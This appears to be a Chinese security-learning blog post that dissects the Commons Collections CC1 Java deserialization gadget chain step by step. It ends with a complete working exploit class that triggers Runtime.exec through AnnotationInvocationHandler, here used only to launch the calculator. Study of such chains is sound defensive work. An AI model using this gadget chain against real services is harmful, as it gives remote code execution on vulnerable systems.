0x01 写在前面 看了一晚上视频教程和博客感觉还是一知半解,花了一天时间重新梳理一下链子,Java反序列化真的很磨人(哭),虽然难但确实受益匪浅
0x02 环境搭建
网上已经有很多教程了,可以参考Drun1baby师傅的文章
0x03 攻击思路 一般来说,攻击是从尾部寻找危险方法出发去寻找头能进行序列化的对象,首先寻找危险方法,然后重复寻找调用前一个方法的其他类的方法,知道该方法能够被可序列化类调用的readObject()进行调用
0x04 CC1链挖掘 1.寻找命令执行类方法 直接来看Transformer接口,内部有抽象方法transform()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Transformer { public Object transform (Object input) ; }
在Transformer接口ctrl + alt + B查看实现接口的类
查看实现类InvokerTransformer 具体的transform()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
可以发现实际上在transform()方法中完成了
Class cls = input.getClass();获取目标对象的 Class
Method method = cls.getMethod(iMethodName, iParamTypes);查找方法(反射)
return method.invoke(input, iArgs);调用方法
并且我们能自己控制iMethodName iParamTypes iArgs的值,实现任意方法调用
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
Demo1 我们尝试调用InvokerTransformer类中的transform()方法实现计算器弹出
1 2 Runtime r = Runtime .getRuntime ();new InvokerTransformer ("exec" ,new Class []{String .class },new Object []{"calc" }).transform (r);
按照反序列化流程接下来就该找同样调用transform()的地方,我们右键+Find Usages查找
在TransformedMap类中的checkSetValue()方法中valueTransformer调用了transform()方法
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
那就来看看valueTransformer是什么
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
valueTransformer是TransformedMap类的一个字段,该类受protected修饰,因此我们无法通过直接new对象方式更改valueTransformer值。继续寻找关于TransformedMap的地方,在decorate()静态方法中,返回了一个TransformedMap,所以我们可以通过TransformedMap.decorate()以获取TransformedMap类
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
以下代码先创建了一个InvokerTransformer对象,通过TransformedMap.decorate()方法将其invokerTransformer赋值为invokerTransformer,这样在调用checkSetValue()方法时就能触发invokerTransformer.transform()
1 2 3 InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" });HashMap<Object,Object> map = new HashMap (); TransformedMap.decorate(map,null ,invokerTransformer);
Demo2 尝试利用反射checkSetValue() 完成命令执行
1 2 3 4 5 6 7 8 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" });HashMap map = new HashMap ();Map transformedMap = TransformedMap.decorate(map,null ,invokerTransformer);Class TransformedMapClass = TransformedMap.class;Method checkSetValueMethod = TransformedMapClass.getDeclaredMethod("checkSetValue" , Object.class);checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(transformedMap,r);
掌握以上内容这个Demo理解起来就不算难
3.寻找调用checkSetValue()方法类 接下来就考虑如何调用checkSetValue()方法了,find Usages 发现只有一处对其进行了调用,AbstractInputCheckedMapDecorator的内部类MapEntry的setValue()方法中,类属性parent对其进行了调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
并且这个AbstractInputCheckedMapDecorator实际上是TransformedMap 的父类
1 2 3 4 5 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { ······ }
Demo3 Demo代码 以下代码能成功执行命令
1 2 3 4 5 6 7 8 9 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" });HashMap<Object,Object> map = new HashMap (); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry: transformedMap.entrySet()){ entry.setValue(r); }
原因分析
for(Map.Entry entry: transformedMap.entrySet())取出transformedMap 中的键值对
entry.setValue(r)
由于TransformedMap 继承了AbstractInputCheckedMapDecorator,但是TransformedMap 本身没有setValue()这个方法,于是就会调用父类的方法
而AbstractInputCheckedMapDecorator类重写了setValue()方法,所以实际上执行的是
1 2 3 4 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
在这个方法中parent实际上就是我们创建的TransformedMap实例transformedMap
因此在**value = parent.checkSetValue(value);**这一行中调用的是TransformedMap类中的checkSetValue()方法,达成了我们的目的
难点理解 为什么MapEntry.parent的值为transformedMap
这个问题消耗了我一晚上时间思考,看的博客和视频都是一笔带过,个人感觉也是这条链子的难点(并非重点,拿出来详细讲讲,嫌麻烦的可以跳过该部分了
在我们Demo的for(Map.Entry entry: transformedMap.entrySet())该行打上断点调试
单步进入来到TransformedMap的父类AbstractInputCheckedMapDecorator 的entrySet()方法,
继续跟进来到TransformedMap.isSetValueChecking(),判断valueTransformer的值存在则返回true,显然poc中该值存在,返回true,进入entrySet()的if代码块return new EntrySet(map.entrySet(), this);
1 2 3 4 protected EntrySet (Set set, AbstractInputCheckedMapDecorator parent) { super (set); this .parent = parent; }
也就是执行了
1 return new EntrySet(map.entrySet(),transformedMap);
此时EntrySet的parent值被设为transformedMap
然后返回到我们的poc
继续跟进到next()方法,返回一个**MapEntry**对象
进入MapEntry构造方法
super(entry) 调用父类构造函数,将 entry{“key”->”value”} 赋值给父类的 entry 字段
this.parent = parent 将这个内部类的parent字段设为transformedMap
在此时MapEntry.parent的值才真正被设为transformedMap (感觉可以单独水一篇了呵呵
按照流程接下来寻找调用setValue()的非同名类的readObject()入口,那就继续find Usages呗
找到了AnnotationInvocationHandler类
可能有师傅没找到这个类,这里我也给出解决方案
该类的readObject()方法中调用了setValue()这么完美符合要求真的不是故意设计的吗
查看该类的构造方法需提供两个参数,第二个是注解类型的参数type,第二个是Map类型的参数memberValues ,赋值给类属性
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler (Class <? extends Annotation > type , Map <String , Object > memberValues) { Class <?>[] superInterfaces = type .getInterfaces (); if (!type .isAnnotation () || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang .annotation .Annotation .class ) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type ; this .memberValues = memberValues; }
满足两个条件触发memberValues 的setValue(),那么很清晰的就可以把前面构造的transformedMap 作为memberValues 参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private void readObject (java.io .ObjectInputStream s) throws java.io .IOException , ClassNotFoundException { s.defaultReadObject (); AnnotationType annotationType = null ; try { annotationType = AnnotationType .getInstance (type ); } catch (IllegalArgumentException e) { throw new java.io .InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map <String , Class <?>> memberTypes = annotationType.memberTypes (); for (Map .Entry <String , Object > memberValue : memberValues.entrySet ()) { String name = memberValue.getKey (); Class <?> memberType = memberTypes.get (name); if (memberType != null ) { Object value = memberValue.getValue (); if (!(memberType.isInstance (value) || value instanceof ExceptionProxy )) { memberValue.setValue ( new AnnotationTypeMismatchExceptionProxy ( value.getClass () + "[" + value + "]" ).setMember ( annotationType.members ().get (name))); } } } }
需要注意的是AnnotationInvocationHandler类并没有访问修饰符 ,属于**包级私有,**我们需要通过反射创建实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" });HashMap<Object,Object> map = new HashMap (); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getConstructor(Class.class,Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);serialize(obj); unserialize("ser.bin" );
但是以上代码不能够真正实现序列化****与反序列化
Runtime类没有继承Serializable接口,这意味着无法对其进行序列化
想要调用setValue()必须满足两个if要求
AnnotationInvocationHandler.readObject()中setValue()的参数并不是Runtime对象
下面我们来逐个解决
0x05 问题解决 问题一 “Runtime类没有继承 Serializable接口** ,这意味着无法对其进行序列化 “**
虽然Runtime类没有继承Serializable接口,但是Runtime.class是Class类,Class类继承了Serializable接口,我们可以通过反射机制动态获取并调用 Runtime 对象
1 2 3 4 5 Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime" ,null );Runtime r = (Runtime) getRuntimeMethod.invoke(null ,null );Method execMethod = c.getMethod("exec" , String.class);execMethod.invoke(r,"calc" );
参照上面的代码,我们通过InvokerTransformer().transform() 获取一步步所需对象
1 2 3 4 5 6 7 Class c = Runtime .class ;Method getRuntimeMethod = (Method ) new InvokerTransformer ("getMethod" , new Class []{String .class , Class [].class }, new Object []{"getRuntime" , null }).transform (c);Runtime r = (Runtime ) new InvokerTransformer ("invoke" ,new Class []{Object .class ,Object [].class },new Object []{null ,null }).transform (getRuntimeMethod);new InvokerTransformer ("exec" ,new Class []{String .class },new Object []{"calc" }).transform (r);
发现每一次transfrom() 的参数都是前一个获取到的对象
使用 ChainedTransformer.transform()递归调用减少这种复用的工作量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public ChainedTransformer (Transformer [] transformers) { super (); iTransformers = transformers; } public Object transform (Object object ) { for (int i = 0 ; i < iTransformers.length ; i++) { object = iTransformers[i].transform (object ); } return object ; }
ChainedTransformer.transform() 的利用
1 2 3 4 5 6 7 8 Transformer [] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String .class , Class [].class }, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" ,new Class []{Object .class ,Object [].class },new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String .class },new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform (Runtime .class );
第一个问题就解决了
问题二 “想要调用 **setValue()**必须满足两个if要求”
我们拿到刚才ChainedTransformer构造新的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Transformer [] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String .class , Class [].class }, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object .class , Object [].class }, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String .class }, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap <Object , Object > hashMap = new HashMap <>();hashMap.put ("G3n" ,"g4r" ); Map <Object , Object > transformedMap = TransformedMap .decorate (hashMap, null , chainedTransformer);Class c = Class .forName ("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor aihConstructor = c.getDeclaredConstructor (Class .class , Map .class );aihConstructor.setAccessible (true ); Object o = aihConstructor.newInstance (Override .class , transformedMap);serialize (o);unserialize ("ser.bin" );
直接运行还是不无法进行序列化操作,我们在两个个if条件判断打上断点进行调试
调试面板中memberType=null跳出了第一个if判断
把断点打高看看memberType值是怎么被操作的
在434行annotationType获取到第一个参数Override.class的包含成员信息的元数据描述对象
在440行memberTypes获取实例成员的类型
在444行取出memberTypes 的键值对赋值给memberValue
在447行name获取memberValue 的键名
在446行memberTypes通过查找memberTypes 的name获取
由于在Override中没有定义任何方法,则memberTypes 是一个空的 Map,所以memberTypes.get("anything")实际上是null
1 2 3 4 @Target(ElementType.METHOD) @Retention(RetentionPolicy.SOURCE) public @interface Override {}
那么我们就需要向aihConstructor.newInstance()传递有成员属性的注释类型的class,我们选择传递Target.class,在Target中有一个成员属性value()
1 2 3 4 5 6 7 8 9 public @interface Target { ElementType[] value(); }
但是此时仍然memberType=null,还是没能进入if代码块
这是因为执行Class<?> memberType = memberTypes.get(name)时,没有找到名为”G3n”的成员属性,因此我们需要将poc中hashMap.put()传递的键名改为memberTypes拥有的成员属性(即value),就能成功满足第一个if条件判断
第二个if判断value是否属于memberType表示的类,这里能够直接进入就不过多赘述了
问题三 “AnnotationInvocationHandler.readObject()中 **setValue()**的参数并不是Runtime对象”
1 2 3 4 memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
但是我们要控制setValue()参数为Runtime对象 才能触发InvokerTransformer.transform(runtime)实现命令执行
该怎么做,在最开始”在Transformer接口ctrl + alt + B查看实现接口的类”的时候有一个特殊的类——ConstantTransformer
在这个类的构造方法中,iConstant 属性的值为传入的任何对象
在这个类的transform()方法中,无论传递什么参数,最终都会返回类属性iConstant
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
因此我们可以把new ConstantTransformer(Runtime.class)作为第一个transformers数组的第一个元素,在触发ChainedTransformer.transform()时,先执行ConstantTransformer(Runtime.class).transform("g4r"),且忽略输入 “g4r”,直接返回Runtime.class并作为下一个元素调用transform()方法的参数
那么三个问题都得到了解决这条链子也算正式打通了
0x06 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.NoSuchMethodException;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main (String[] args) throws IOException, NoSuchMethodException, IllegalAccessException, java.lang.reflect.InvocationTargetException, ClassNotFoundException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"g4r" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInput ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
0x07 回顾利用链 1 2 3 4 5 6 7 8 9 利用链: InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject 使用到的工具类辅助利用链: ConstantTransformer ChainedTransformer HashMap
0x08 反序列化分析 最后来梳理一下反序列化过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ObjectInputStream.readObject() ↓ sun.reflect.annotation.AnnotationInvocationHandler.readObject() ↓ 遍历 transformedMap.entrySet() ↓ entry.getKey() → "value" entry.getValue() → 触发 TransformedMap.MapEntry.getValue() ↓ TransformedMap.MapEntry.getValue() 调用: valueTransformer.transform("g4r" ) ↓ chainedTransformer.transform("g4r" ) ↓ transformers[0 ].transform("g4r" ) → 返回 Runtime.class ↓ transformers[1 ].transform(Runtime.class) → 返回 Method: Runtime.getRuntime ↓ transformers[2 ].transform(getRuntimeMethod) → 返回 Runtime 实例: Runtime.getRuntime() ↓ transformers[3 ].transform(runtimeInstance) → 执行 runtime.exec("calc" ) ↓ Windows计算器弹出
0x09 写在后面 强烈推荐自己动手挖链子调试,思路会清晰很多,感觉代码审计能力都提高了哈哈,之前一直不会调试
CC链和DNSURL链简直不是一个难度,真的需要静下心来,于我而言也是莫大的挑战